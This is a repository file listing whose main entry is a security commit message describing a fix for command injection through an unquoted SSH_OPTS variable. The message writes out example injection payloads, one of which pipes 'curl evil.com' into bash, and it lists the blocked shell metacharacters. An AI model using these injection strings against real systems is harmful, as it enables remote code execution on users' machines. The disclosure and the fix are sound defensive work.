A 42808ae101 security: prevent command injection via SSH_OPTS environment variable (#1111) ... HIGH severity fix for command injection vulnerability. The SSH_OPTS environment variable was used unquoted in multiple ssh/scp commands throughout the codebase. While intentionally unquoted to allow multiple options, this created a command injection risk if an attacker could control the SSH_OPTS environment variable. Attack vector: export SSH_OPTS="-o ProxyCommand='bash -c whoami'"; ./cloud/agent.sh export SSH_OPTS="; curl evil.com | bash #"; ./cloud/agent.sh Impact: Remote code execution on the user's machine when running any spawn script with a malicious SSH_OPTS value. Fix: Added _validate_ssh_opts() function that blocks shell metacharacters (; | & \` $ ( ) < >) in SSH_OPTS. If validation fails, secure defaults are used instead. Tested validation against: - Semicolon injection (;) - Pipe injection (|) - Backtick injection (\`) - Command substitution ($()) - Background execution (&) - Redirection (< >) Files changed: - shared/common.sh: Added validation function and enforcement Agent: security-auditor Co-authored-by: Spawn Refactor Service <refactor@spawn.service> Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>		2026-02-14 12:43:32 -05:00
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common.sh	security: prevent command injection via SSH_OPTS environment variable (#1111)	2026-02-14 12:43:32 -05:00
github-auth.sh	refactor: decompose ensure_jq and ensure_gh_cli into focused helpers (#994)	2026-02-13 12:14:56 -08:00
key-request.sh	fix: Properly handle comma-separated auth vars in key-request.sh (#1083)	2026-02-14 05:10:11 -05:00